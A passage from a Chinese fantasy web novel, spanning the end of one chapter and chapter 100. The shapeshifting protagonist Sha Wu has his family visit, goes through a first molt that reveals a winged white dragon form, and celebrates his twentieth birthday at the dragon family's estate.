沙妈妈泼她冷水：“算了吧，普通人没法在这种地方生存。” 她是真正参与过和变异生物战斗的人，太知道野外环境的严苛。 现在这片森林之所以这么安宁，完全是有更加强大的生物施加的压力。 沙肆不解，看向在小溪里翻石头抓螃蟹的桃桃：“3岁不到的小朋友都能玩。毕竟是家里的院子，应该和小伍宿舍那边的海滩差不多吧？” 沙妈妈反问：“你不会以为小伍很弱吧？” “他一个大二的学生，能强到哪里去？不是说才二级？”沙肆是真的不理解。 沙妈妈叹气：“同样级别，实力差距可以非常大。两个瓶子，装同样一厘米高的水，小瓶子和大瓶子的差距大了去了。” 大部分人是瓶子，小部分人可能是江河湖海。 她是最差的天赋，失去右臂后，实力不实力的根本不去考虑，现在哪怕装上了生物义肢，营养和锻炼方面有了保障，也不敢说能够再提升实力。 沙伍的实力……沙伍的异能，她到现在都没看懂。 小趴菜原来是我自己。 算了，儿孙自有儿孙福。 “四姐！过来抓螃蟹！这里的螃蟹超级大个！”沙伍站在溪水里喊。 沙肆不是很想动弹，但来都来了，抓螃蟹什么的似乎很有趣，然后：“这就是你说的超级大个？！” 她手上的螃蟹比指甲盖大不了多少，还举着钳子张牙舞爪。 沙壹在边上笑：“哟！这么大的螃蟹，不得一蟹三吃才行？” “哈哈哈！” 沙肆把手上的“巨蟹”放回去，忙忙碌碌了半个小时，被沙妈妈叫上岸：“都上来了，不冷啊。” 冬天往北冰洋游的大白鲨完全没有感觉，用异能弄了水球给他们冲洗干净，又收干净水：“这点都会冷吗？” 沙壹他们感到他这个操作很神奇：“异能还能这样？” “基操。”沙伍微微仰着下巴，跟着从小溪里走上岸。 沙妈妈突然注意到他的小腿：“你腿上怎么青了一块？” 小腿上有一小片很淡的青色，不是很显眼。 沙伍低头看了看：“哦，这个啊。期末战术实战考试的时候，被同学打的。” 桃花水母蛰了一下，还挺疼的。 当时他用各种小幻境把考试场地和人员弄得虚虚实实，最简单的陷坑都能抓到人，让人搞不清楚自己的真队友。 实战接触的时间有限，突然出现两个一模一样的人，不会给人充足的时间来判断谁是真的谁是假的。 沙伍只要有对方一瞬间的愣神，就能见缝插针制造更多的幻境，把队伍的成员挨个分开，然后逐一击破。 他的策略无比成功，一直到遇到很多很多脚的桃花水母。 人家根本不分辨真真假假，对周围进行无差别攻击，并且攻击得非常果断。 S级异能潜力值的毒素，哪怕只有一点点，也足够沙伍汲取教训。 沙伍眉飞色舞的把考试的情况说了说。 其他人跟听爽文似的。 最后，几乎什么都没听懂的桃桃问：“小叔叔赢了吗？” 沙伍的眉眼瞬间耷拉下来：“嗷，我第二名。” “哈哈哈！让你狂！”沙肆嘲笑，“第一名是桃花水母？” “对。”沙伍忍不住为自己辩解，“其实真打的话，我挨这一下没事的，顶多疼几天。” 他是点亮了治疗术技能点的小鲨鱼！ 沙肆蹲下去看他小腿：“人家肯定也没真毒你。”她伸出手指戳了一下，“痛不痛？” “不痛。过两天等剩下的毒素慢慢代谢掉就行。”甚至都不用刻意去治疗。 其实腿上的这点伤是他故意保留下来的，提醒自己在任何时候都不能轻敌。 这次就是他太得意忘形了。 换做在战场，他这一下就够死好几回。 在院子里玩了一会儿，一行人还是回家休息。 沙伍自己是不觉得，但是看其他人不少在打哈欠，显然今天一早就出门赶路还是蛮累人的。 “等晚上我带你们去逛街。” 把家里人送回房子里，沙伍自己又折返回院子，开始寻找小黄。 这不费事。 小黄还待在原先的巢穴里，只是现在它已经恢复一只貂。 三小只已经离开了妈妈，前往远处寻找自己的领地。 夏季的白天大部分时间都太热，现在还不到小黄出门觅食的时间。 鲨貂和小黄一起在巢穴里睡了一觉。 临近傍晚鲨貂才和真貂玩耍了一会儿，抓了一只小野猪。 没吃。 鲨貂把小黄连同小野猪一起打包带回去。 小黄熟练地找到田书南，然后蹲坐在自己的专用宝宝椅上，等着自己的猎物变成香喷喷的食物。 不用扒皮，不用吃得满身脏污，关键是熟食吃完身体很舒服。 小黄是只聪明的黄喉貂，很快就学会了使唤人类。 沙伍看着它一系列熟练的操作，跳到小黄的椅子上，凑近了闻闻：“没有异能的味道。小黄是只普通的黄喉貂。” 田书南笑道：“有些动物就是天生比同类聪明。有些动物哪怕有了异能，该蠢还是蠢。” 沙伍感觉她这话意有所指：“是发生什么事情了吗？” “也不是最近发生，蠢货一直都有。”田书南并没有刻意瞒着沙伍，“昭华和小纶今年不是开始推恢复省市的建制嘛。本来以为第一步先更改一个省份的名字，应该不会有什么阻力，结果表面上确实都答应得好好的，实际行动上各种推三阻四，搞非暴力不合作。” 沙伍听到“非暴力不合作”六个字，就抖了抖耳朵：“那就暴力了，再合作。” 这片土地自古以来都尚武。 要别的没有，要拳头，那有什么难的？ “噗。”田书南听得一乐，持续了一段时间的烦躁情绪一扫而空，“你说得对。暴力后再合作，条件就没现在这么好了，也不一定非得找他们合作了。” 正说着，姚昭华过来了，揪了揪黄喉貂的耳朵，嫌弃了一句：“手感比冬天差了好多。”又说田书南，“白活那么大岁数，动手还不如小伍果断。” 田书南狡辩：“小伍是年轻气盛，我是沉稳。” 姚昭华抬手就弹了她脑门一记毛栗子：“沉稳个头。你就是温吞。” 高智商小黄显然很懂察言观色，安安静静吃完自己的肉，格外礼貌地轻轻吱了一声，就甩着尾巴跑回自己家了。 鲨貂没来得及跟着一起跑，只能坐在宝宝椅上，被姚昭华抓着跟田书南一起一边挨训，一边听怎么跟人斗其乐无穷。 鲨貂感觉这些对自己没啥用。 田书南那是什么实力？ 他是什么实力？ 田书南能动手，他能动什么？翅尖吗？ “小鲨鱼怎么在这儿？” 鲨貂仰头，一点都不意外地看到姜纶走进来：“不是晚上要加班吗？怎么还赶回来？” 姜纶先给鲨貂连拍了好几张照片，再把他从宝宝椅上抱起来：“怎么这么可爱~” 他埋首在鲨貂软乎乎的肚皮上深呼吸一口气，才感觉一天的焦躁慢慢平息下来。 鲨貂扭了扭，当着两位姐姐的面呢，干嘛干嘛！ 幸亏现在的皮肤脸黑，看不出脸红。 “大姐、书南姐……” 姚昭华不等姜纶说完，就对他说：“快滚，少给我塞狗粮。” 姜纶很快就抱着鲨貂回房，都没有坐电梯，直接飞上去的。 鲨貂被摁在床上一顿猛吸。 姜纶抓着他的前爪摇摇：“变回来。” 脸皮发烫的鲨貂果断拒绝：“我不。你别把我放床上，我今天在院子里玩了好久。” “有什么关系。”姜纶埋首在鲨貂软乎乎又暖融融的肚皮上，“明知道你在家……”见不到人还是心里面一阵接着一阵的焦躁。 尽管平时他办公的时候，沙伍也不待在他左右，但那种距离带来的不确定，还是让他心里面空落落的。 沙伍明白他的意思：“要不要这么黏人？” 姜纶完全不否认：“反正你不嫌弃。” 沙伍变回人形，抱着他亲了两下，张嘴打了个哈欠。 姜纶瞬间就坐直了：“亲我亲得想睡觉？！” 两个人都还没正式订婚呢，他已经对沙伍没有吸引力了吗？ 沙伍压根不在意他这样的跳脚，站起来往浴室走：“今天玩太累了，我先去洗个澡，晚上还要带沙妈妈他们去逛街。” 其实不是玩得累，是沙伍还没从紧张的学习和考试中恢复过来。 沙妈妈他们显然很意外姜纶会回来，等沙伍要陪着他们逛街的时候，被沙妈妈丢给了姜纶：“我对后土城比你熟。你去陪陪小纶。” 他们能够逛街的也就这天晚上，第二天一早就有各种工作人员给他们做各种保养妆造。 沙伍围观了一圈，嘀咕了一句：“旧猫翻新。” 每个人的改变都不多，只是做了一下护理，改变了一下发型，甚至连女士们的妆容都没有多么浓艳，但整个人的形象气质都得到了极大的提升。 沙肆这种平时经常为了适应服装改变造型的人，看着镜子里的自己，都感觉焕然一新，高兴之余没忘记警告沙伍：“皮痒了是不是？谁是旧猫？”不等沙伍回答，她已经对着镜子里的自己连着拍照加视频，两眼放光，“天啊。我这辈子没这么好看过。” 造型师笑容真诚又谦逊：“沙肆小姐的可塑性很强。在许多造型里给您选择一套适合的，实在是太为难我了。有机会的话，一定要尝试一下其他造型。” 说着，他在光屏上展示了一下其他几款造型，有比较日常的，也有相对夸张一些的。 沙肆这一年多以来，业务能力有所提升，接触到的品牌方也变得更加大牌专业，但和这位造型师比，还是差了不止一个档次。 和这样的大佬能够这么对话，机会难得，马上就开始向他求教。 于是他们又试了第二套、第三套妆造。 造型师有问必答，加了沙肆的联系方式，甚至还邀请她参加一次商业活动。 今天只是试装，确认造型和服装都没什么问题，他们就换下了衣服。 沙伍刚开始还在边上围观，很快就躲去山洞，吃了“芝麻糊”就开始睡觉。 姜俣看着肚皮鼓鼓的小白龙开始嫌弃：“仰着睡也不怕压到后背。” 他伸手把小白龙扒拉开。 小白龙被吵醒，眯着眼睛看向姜俣，翻了个身继续用爪子抓住青龙的一根指头。 “嘿——”姜俣干脆尾巴一卷，把小白龙带入深潭，“我还治不了你了。” 小白龙怎么玩耍都是水的深潭，在姜俣的带领下，像是一层膜，穿过之后是一片无边的土地。 干涸到龟裂的一望无际的土地。 绝望在一瞬间铺天盖地笼罩过来，没有任何征兆。 小白龙瞬间膨胀成大白龙，又在一瞬间收缩成小白龙。 身体的水分正在飞速流失。 他失去了飞行能力，空气中没有任何一丝生机。 简单的嗅闻让他的鼻子似乎要被吸入的空气割裂。 明明在青龙城的污染源，他没有感觉到任何特别的压力。 明明他在上层山洞里的时候，也一切正常。 难道这就是最强污染源的威力吗？ 爸爸妈妈是怎么能够在这样的环境中生存两百多年的？ 体内没有吸收完的“芝麻糊”的能量，以一种极快的速度灌注进深层的星空。 晦暗的星空在一瞬间拉到台前，和表层星空合二为一，形成一片更加庞大的星系，并且产生更加复杂的能量通道。 趴卧在地，似乎连站起来的力气都没有的小白龙，这时候已经像是一具脱水的干尸。 失去光泽的鳞片从边缘开始翻卷起翘，发出轻微的索索声。 突然之间，颜色都已经变得仿佛枯木一般的小白龙，背部顶起白色的巨大骨板，然后缓慢展开，变成一对和躯干相比巨大到不成比例的翅膀。 翅膀用力一拍，漫天黄土飞扬。 五米多长的白龙从中飞向天空，锐利的爪子划开某种屏障，绷断的指甲带着几滴血落下。 白龙踩着深潭，吐息间，白色雾气弥漫，很快就笼罩了整片深潭。 白雾消散，白龙消失不见。 在青龙的感知中，白龙依旧待在那儿，只是收拢了翅膀，显然进入到了某种自我保护机制中。 姜俣重新出现在了山洞里，透过深潭看破幻境：“小子是真会装。不逼一下，根本不会显露真正的觉醒体。” “你的手段稍微激进了点。”青龙提出批评。 姜俣不觉得自己有错：“有时候就该逼一逼。”他感受了一下时间，“刚好20岁，总该有个成年人的样子了。” “小伍伤得怎么样？”姚瑞云知道有姜俣看着，沙伍肯定不会有事，但沙伍受伤是她不愿意见到的。 “不怎么样，就是断了一根指甲。哦，底下产生了一些有趣的变化。” 姜俣说着，尾巴一卷，带着青龙重新进入污染源。 刚才白龙所在的地方，出现一个小小的透明的圆球，在地表形成一个还不足指甲盖大小的水洼。 “很了不起的小家伙。” 姚瑞云恢复人形，从地上捡起一条长长的龙蜕：“这个带回去给他。第一次蜕皮纪念。” 刚蜕皮的幼龙很脆弱。 尤其沙伍是第一次蜕皮。 第二天一早，他就感觉到被人提溜着洗漱，换衣服。 给他换衣服的气息太熟悉，他压根连眼睛都懒得张开，哼哼：“姜小龙，我没力气。” 姜纶给他换衣服已经很熟练了，自己的手不够就用异能作为支撑，感觉软绵绵像布偶的小鲨鱼也特别可爱。 正式的大礼服里外好多层。 沙伍强撑着打起精神来，让几名专业人员打理好形象，跟着姜纶飞到院子里最高的一处山顶。 这里有个圆形的祭坛。 其实就是个用白色石头铺平的光秃秃的广场。 姜俣、姚瑞云、姚昭华都已经等在祭坛上了。 沙伍困倦的眼睛瞬间睁大了：“爸、妈，大姐。” “嗯，过来站这里。”姜俣对他招招手，“我们来告诉一下天地，你长大了。” 沙伍按照指示站定，还在好奇怎么告诉天地，就感觉有一股奇特的能量带着他飞了起来。 不是物理上的飞翔，他的身体还在原地，但灵魂好像一瞬间脱离了躯体。 无数山川河流生灵万物映入脑海。 庞大的信息量并没有让他感觉到难受。 他在一瞬间想起姜纶说过的，大地能够包容万物。 这就是万物吗？ “好了。”姜俣的声音响起。 沙伍一瞬间从奇特的感觉中退出，眨了眨眼，还有些回不了神。 姚瑞云问他：“感觉怎么样？” “感觉……和天地之间建立了一些联系？”他不确定自己的描述准不准确。 姜俣没说什么，动了动尾巴，看家人全都自觉坐到他的尾巴上：“走了，该去生日宴了。” 第100章 真鲨？真傻√ 沙伍有点飘。 沟通天地的感觉很玄妙，他的灵魂似乎还有一大半在天上地下飘飘荡荡。 当他穿着上红下黑的礼服走进宴会厅的时候，没注意到自己是飘着进去的。 姜俣、姚瑞云一同出席，主持了沙伍的生日宴，对外表达了沙伍是姜家一员的态度。 最近一年，姚瑞云已经出现在人前两次。 这一次姜俣也一同出席。 外界对于沙伍在姜家的地位进行了重新审视。 另外就是对姜纶这位小少爷也一样。 【看来姜家还是看中儿子的，还是得儿子来继承香火。】 【继承香火怎么会找个男的？肯定是大小姐为了巩固自己的地位，给弟弟找了个男的。新儿媳站哪边还不好说。】 【科技生孩子又不难。外面多得是愿意给姜家生孩子的女人。大房那边不还找了个变异生物生孩子？】 【九级的寿命那么长，继承人什么的未必用得着。】 【人家大业大的，才两个子女，有什么不好分的。】 【希望姜家和和美美，不要让我选边站队。】 奇奇怪怪的“声音”通过一种奇特的通道传递到他脑海中。 沙伍发现自己能够捕捉到这些宾客的想法。 他下意识想，如果他用这些人内心的想法来构筑幻境，他们是不是很难挣脱开？ 姜纶拉着沙伍的手紧了紧：“小鲨鱼？” “……嗯？”沙伍的反应慢了半拍，看了看满满的宾客，回头看向姜纶，“我觉得好奇妙啊。” 世界好像变得不一样了。 姚瑞云拍了拍他的肩膀：“一会儿记得来山洞一趟，把你的皮拿走。” “我、我的皮？”沙伍瞪大眼睛，咽了咽口水，只差两只耳朵往后撇。 姚瑞云笑道：“应该叫蜕。我们到了一个阶段就会蜕皮。” 沙伍的神情陷入迷茫：“鲨鱼……也会蜕皮吗？” “你又不是真鲨。”姜俣觉得小儿子笨笨的。 沙伍接话很顺溜：“大白鲨是鼠鲨目鼠鲨科，当然不是真鲨目真鲨科。” 他的生物学基础课分数很高的。 姜俣没忍住，抬手敲了他脑门一记毛栗子：“我看你不是真鲨，是真傻。”他吐气，对儿子女儿交代，“你们招待客人。” 说完，他尾巴一卷把沙伍和姚瑞云卷走，回了山洞。 山洞里，一张完整的灰蒙蒙的龙皮挂在一根栖杆上。 “嚯！”沙伍被冷不丁吓了一跳，意识到是什么之后，凑近去看，看完还上手摸了摸，抠抠上面翘起的鳞片痕迹，还闻了闻，然后歪着头陷入沉思。 姚瑞云变成青龙进入深潭。 山洞里留下姜俣看着沙伍。 过了好一会儿，沙伍才拉着龙皮坐到蛇尾巴尖上：“爸爸？” “嗯？”小儿子虽然有点傻，但是叫自己的声音还是很可爱的。 沙伍把龙皮一点点卷起来，声音中全是疑惑：“我的觉醒体不是大白鲨吗？” “不是。大白鲨是你的伪装。” 沙伍脸都皱了起来：“白龙才是我的伪装啊？我是看姜纶的金龙帅，才照着变的，是假的啊。”又小声叨叨，“假的怎么会蜕皮？” 他是知道姜纶会蜕皮，但又没见过。 模仿也没有参照物。 再说他蜕皮连自己都没什么印象，弄一层皮出来做什么？ 哦，对。 “爸爸，你昨天把我带进污染源……”然后发生了什么事情？ 他只记得一大片干裂的大地，还有呢？ 他感觉到一股温暖的力量包裹全身，和姚瑞云那种带着旺盛生命力的力量不一样，这种力量更加温暖厚重，像他喜欢的冬天的厚被子。 他清晰地看到自己的手脚变成了爪子，头顶长出巨大的角，身体拉长变成了白龙。 背…… 他下意识扭头去看，被一片白影呼在脸上。 姜俣：“……” 他下意识抬头看了一眼手环。 很好，龙被自己翅膀扇晕的视频保留了下来。 白龙晃了晃脑袋，想都没想就扭头一口咬上去，然后龙吟响彻整片龙丘。 在宴会厅的姜纶听到，一闪身就消失在宾客们面前。 宾客们大吃一惊：“刚才那是……” “龙吟？” “小少爷这速度，绝对是有异能。” “异能等级还不低。” 宾客们窃窃私语，但都不敢找姚瑞云或者田书南打探。 风阳羽顶着一只夜鹭，和姜纶几乎同时出现在山洞。 然后他们就看到了一条抱着巨大翅膀眼泪吧嗒的白龙。 风阳羽震惊：“应龙？” 觉醒体是龙，已经很离谱了。 应龙，可不是简单的生了翅膀的龙，而是龙进化的最高等级。 风阳羽看了看还在哭鼻子的应龙。 ……传言不可信。 “怎么受伤了？”姜纶抬手擦了擦白龙湿润的眼角，视线落在那对格外巨大的翅膀上的时候，第一个念头就是——哦，这熟悉的牙印。 “你咬自己干嘛？” 白龙将巨大的脑袋硬埋在姜纶怀里，不顾龙形的姿态下，他的体型已经巨大到不适合跟人形的姜纶撒娇。 夜鹭飞落在白龙另外一个完好的翅膀上，轻轻叨了叨：“蜃龙。怪不得传说中这玩意儿是个大贝壳。”这么大的翅膀一合拢，不就是个贝壳的样子么？ 海市蜃楼中的那个蜃，经常出没于东海之滨，擅长制造幻境。 关于蜃具体的长什么样的猜测很多，有说是龙，有说是贝类，也有说是虫，还有说是某种石头。 现在终于见到真身了，一条傻乎乎的白色应龙。 当着长辈们的面，沙伍还是很快稳定好了情绪，没一会儿就开始跟夜鹭、风阳羽比翅膀。 “院长、小叔，我也有翅膀了。”骄傲。 巴掌大的夜鹭表示不屑：“这么丁点大的翅膀，上面一根毛都没有。” 白龙扭头看看自己的翅膀，确实不是鸟类的羽翅，上面布满了非常细小的鳞片，每一片都散发出莹润的光泽。 天哪，他的翅膀真好看！ 他都不敢想在阳光下，他的翅膀得多好看！ “我飞起来的话，是不是会折射出一道彩虹？”那得多帅~“小叔，你照我一下。” 山洞里没有太阳，但是有太阳神鸟啊。 “滚。”风小叔不配合。 山洞里出现一道彩虹。 彩虹很真，只是范围很小。长度目测不足一米。 白龙昂起脑袋，“切”了一声，收起幻境。 被四个九级包围，他一定是世界上最苦逼的二级。 他就是想帅一下，怎么就这么难？ 想是这么想，让他真的去外面帅一下，他是不敢的。 龙这种存在还是太敏感了。 他以往出现在人前的小白龙，大家都没怎么当回事，主要还是因为把他当做和小粉的粉龙差不多的拟态，或者是某种幻术。 今天他要是敢在龙丘这么飞一把，那以后就别出门了。 九级的太阳神鸟都有人打主意，他一条二级的小白龙还是低调点好。 不是，他怎么就是龙了呢？ 他来来回回转了几圈，发现自己变长的身体还是不能够盘圆，瞅了瞅姜俣的尾巴，又把自己拗了拗。 不行，太硬了，拗不动。 四个九级就看他傻兮兮的来来回回折腾。 好不容易等他消停了，夜鹭问：“现在感觉怎么样？” 白龙认真感受了一下：“感觉……有点晕。” 说完，他就变回人形，晕在了姜纶怀里。 体内完整的大星系重新分离。 姜纶检查了一下：“异能损耗太大。我先带他回去休息。” 夜鹭看他顺手还带走了一捆灰扑扑的东西，后知后觉反应过来：“哎，那是蜃龙的龙蜕？！”给他研究研究啊。 姜俣盘踞在山洞中，开始赶人：“你们去会场玩吧。”快滚。 “好。”风阳羽二话不说，抓着夜鹭就走。 夜鹭站在风阳羽的头顶：“你干嘛那么听姜俣的话？” 两个姜家认真说起来还有点仇。 虽然以现在姜家的势力看来，都是一些无足轻重的东西，但仇就是仇。 哪怕就这一百多年来看，两家也不可能联手，能够保持如今的相安无事已经是最好的局面。 风阳羽变成大乌鸦飞到树顶晒太阳，并没有第一时间去会场。 听到夜鹭这么说，他感觉非常奇怪，很想瞪一眼夜鹭，无奈夜鹭始终站在他头顶，甩都甩不掉，格外讨厌：“我打不过他。” 双方实力差距明摆着，他还能反抗？ 更何况姜俣不是一个人，他还有姚瑞云这条青龙，甚至还要姚昭华这个女儿。 他感觉自己都未必打得过他姚昭华。 夜鹭见他没有什么补充说明的，冷哼一声：“不想说就算了。” 菜鸟打不过姜俣，说的好像能够打得过他亲爹一样。 风阳羽懒得跟外人解释。 他能怎么说？ 是姜俣把他从实验体变成了一个人？ 流着姜家的血脉又怎么样？ 他哪怕脱离了实验室，依旧生活在矛盾中，一直到沙伍的出现，才让他能够正视自己来源于父母双方的血脉。 他跟着飞往会场，毕竟是沙伍20岁的生日宴，他这个小堂叔，还是老师，必须给个面子。 沙伍不在会场。 姜纶倒是没一会儿从楼上下来了，跟沙妈妈他们解释了一句：“小伍有点不舒服，先睡了。” 沙肆下意识小声说了一句：“小伍比牛还壮实，怎么会不舒服？躲懒吧？” 毕竟沙伍对于看他们做造型的兴趣，远大于参加宴会的兴趣。 姜纶笑了笑，算是默认。 这显然是个更加容易让沙家人信服的理由。 他看到夜鹭和风阳羽，过去打了声招呼，然后带着愿意社交的沙叁和沙肆去认识一些人。 沙伍昏睡了也就一个小时。 午宴结束，沙叁和沙肆找上来的时候，他正在和小黄、小粉、校霸一起玩。 “我就说，小伍一定是在躲懒。”沙肆过去，好奇地看着小黄。 小黄站直了，对着他们挨个嗅嗅，确认记住了气味马上扭头继续和小粉、校霸你追我跑。 追上了就打两下，然后换人追。 有时候两个追一个，有时候一个追两个。 各种排列组合，争端莫名激烈，甚至打出猪叫。 沙伍被抓住了，只能退出四方争霸赛：“你们不跟人多聊聊？” 沙肆觉得自己的收获已经足够了：“可以了。多大的脑袋戴多大的帽子。我现在能有机会接触一些更高一级的东西就很好了。剩下的硬把我捧上去，我也没那个能力接。” 曾经对她来说竭尽全力都够不到的东西，现在不需要她有什么表示，就有人捧到她面前，甚至请求她收下，她感觉有些索然无味。 她开始思索自己真正喜欢的东西…… “啊，我好像已经脱离了低级趣味，成为了一个高尚的人。”她有些自嘲，跟着坐在沙伍身边，拿起一个毛绒玩具研究。 “你可以把那些低级的钱给我。我是个俗人。”沙叁跟着坐下，“沙妈妈他们呢？” 沙伍说道：“沙妈妈跟薛哥去参观姜纶的小菜园。大哥和二姐一家都在休息。” 沙贰是孕妇，无论是体力还是身体情况，都不适合这样长时间的社交。 沙壹夫妻都是踏实偏内向的性格，不擅长社交。这些遥不可及的宾客，对他们来说毫无关系。 沙肆用手上的毛绒玩具殴打沙叁：“要钱自己赚去！” “逆女，竟敢殴打你哥哥我！”沙叁同样抄起一个玩具，跟她对打。 “吵什么吵？”沙妈妈找了过来，“穿这么漂亮，就这么坐在地上，不像样。” 沙肆赶紧站起来：“对，我先去把衣服换下来。” 沙叁第一次穿中式礼服，舍不得换：“我穿着挺好的，先不换了。” 穿着背心短裤的沙伍奇怪地看着他：“你不热啊？” 沙叁坚持：“不热！” “好吧。” 沙叁忍不住调出手环的摄像功能，对着自己拍拍拍：“第一次知道老子还能这么帅！” 中式古典正装价格都不便宜，更别说是礼服。 一直都在努力赚钱存钱的沙叁，根本舍不得花钱去租衣服，更别说买了。 他低头看了看沙伍：“夸我！” 沙伍决定给他一点面子：“伟岸！” 沙叁仰头：“继续。” 沙伍拍腿：“大丈夫！” 沙叁继续把脑袋仰高，对沙伍招招手。 沙伍一拍手，指着沙叁：“小人得志！” “嗯……嗯？”沙叁察觉不对，抬脚就挥舞着逗猫竿要殴打弟弟。 沙妈妈在边上只一味录像，一番剪辑后放到家族群里。 过了一会儿，姜纶过来叫人：“小伍，白先生来了。” 沙伍立刻跑到姜纶面前：“白叔叔？”白虎学院的院长？ “是。”姜纶跟沙妈妈他们说了句抱歉，一把抄起沙伍，瞬间就移动到了浴室，“你先洗一下，我给你拿衣服。” 沙伍的动作很快，换上的衣服也只是偏正式的常服，五分钟搞定。 让沙伍觉得有些意外的是，姜纶没有带他去家里的某个会客厅，而是直接到院子里。 一段沙伍没去过的河边，一头巨大的白虎躺在草地上，身边有盛开的花朵，还飞舞着蝴蝶。 老虎的尾巴尖一动一动的。 沙伍的注意力一下就被带过去。 鲨猫开始对着白虎的尾巴各种扑击，咬住了就开始抱住蹬踹。 白虎尾巴一甩，鲨猫落下，被白虎摁住了开始舔毛。 鲨猫被姜纶抱走。 白虎把脑袋放在两只前爪上，表情似乎天生带笑：“抱歉，把小伍当成我家小宝了。” 鲨猫瞬间竖起耳朵：“白叔叔有宝宝了？” 姜纶嫌弃白虎的口水，调动了河水把鲨猫泡进去。 鲨猫泡发成了巴掌大的小丑鱼，在水球里游来游去。 白虎看着他的变化感觉很有意思：“对。什么时候来白虎学院，我介绍你们认识。到时候你带着妹妹一起玩。” “那我要给妹妹准备礼物。”沙伍从水球里跳出来，恢复人形，“妹妹多大了，喜欢什么？” 白虎跟他唠了一会儿家常，送了一颗很小很漂亮的蓝色珠子给他：“这是风神珠。遇到危险的时候，可以激活后逃跑。不过高速移动会对身体造成很大负担，轻易别乱用。” 沙伍郑重接过：“谢谢白叔叔。” 珠子只有芝麻粒大小，像是一粒绿松石。 白虎在草地上打了个滚：“真想每天都在森林里晒太阳啊。” 话落，巨大的白虎变成清风，消失不见。 沙伍有些愣神。 他闻不到空气中异能的气味，白虎的气息就像是再常见不过的风。 风有什么气味呢？ 在森林中，他就是河流、青草、盛开的花、腐败的落叶，是飞禽、是走兽。 白虎是风，那蜃龙是什么呢？ 他的异能是水，是吞噬，还是幻境？ 他为什么一定要是某一样异能？ 这世界这么漂亮，他想全部都拥有。 如果把世界制作成一粒“风神珠”，那一定是最漂亮的宝石。 早上沟通天地的感觉还残留了一些，他放开身心，第一次将冥想的注意力从自己的体内转换到体外。 一直握着沙伍手的姜纶，也一并被带入进去。 他好像化作了小昆虫，在森林厚厚的落叶中穿梭；化作蝴蝶寻找盛开的花朵；化作游鱼在山涧中穿梭。 植物、动物、土壤、岩石、水，各种存在都以一种更加鲜明美丽的姿态展现在他眼前。 他恍然领悟到沙伍一直说的好看，很简单朴素的两个字，却是沙伍对这片土地的喜爱，是他对这片土地的赞美。 他现在看到的，是沙伍眼中的世界，和他以往感受中完全不一样的鲜活而明媚的世界。 金龙从森林中飞起回到龙丘，当着无数宾客的面，飞进了高层。 宛如宫殿一般夸张的层高，宽阔到犹如主干道一样的走廊，在这一刻都有了解释。 这里是巨龙的住所。 良久，有人小声说了一句：“究竟是谁特么说小少爷没异能的？” 很小的声音，但是在一片死寂中显得格外响亮。 骑着龙回来的沙伍迎来了全家人震惊的目光。 沙肆捂着嘴：“我的天！小伍你变了一条龙出来！他看起来好真！” 沙伍从龙背上滑下来：“本来就是真的。” 桃桃走到沙伍身边，一把抱住他的大腿，好奇地张望巨大的金龙：“小叔，骑龙！” “不可以骑这个。小叔可以给你骑。”说着，沙伍变成白龙，“上来，小叔带你飞。” 桃桃见过小白龙，但是没见过长翅膀的小白龙。 诚实的小朋友看看小白龙，再看看巨大的金龙：“不要。小叔太小了。” “噫——”小白龙尾巴一甩，把小朋友甩到自己背上，带着离地十厘米绕着几个房间飞了一圈。 已经在建造的时候考虑过尺寸的建筑物，对金龙来说还是逼仄。 眼看着沙伍没打算回房，姜纶只能变回人形，把返航的小白龙列车上的小朋友抱下来。 沙伍的异能恢复了没多少，变成蜃龙的形态异能消耗的速度相当快，完全不像他变成大白鲨，几乎感觉不到异能的损耗。 沙叁绕着姜纶看：“小纶也能变成龙啊？好帅啊。”又拍拍沙伍，“小伍，你学学小纶，变大一点，帅！” “你也不看看房子才多大。下次我找个空旷点的地方，变成超大的龙，吓死你。”虽然龙丘到处都是空旷的地方，但这不是他现在变不动了嘛。 沙叁不信：“你就吹吧。对了，你为什么变成白龙？为什么不跟姜纶一样变成金龙？不对啊，你们怎么不变成青龙？” 作为青龙人，对青龙的崇拜是刻在骨子里的。 青龙是正统，别的颜色的龙都不对劲。 说完，沙叁自己陷入沉默。 桃桃说道：“青龙是漂亮的姚奶奶啊~” 是的，差点忘了跟他们接触的亲家妈妈，就是传说中的青龙妈妈。 眼前这位弟弟的男朋友是青龙妈妈的亲儿子。 沙伍第一次看到叭叭叭特别能讲的三哥卡顿，抬脚轻轻踢了他一下：“有什么话想说？” 沙叁颇有点小心翼翼地开口：“亲的？” 姜纶保证：“亲的。” 哦，青龙妈妈生了个龙崽崽，正常。 “颜色？”为什么儿子不是青龙？ 姜纶熟练回答：“像我爸。” 沙叁不过脑的下意识说道：“青龙妈妈也是被黄毛给骗了。”《 》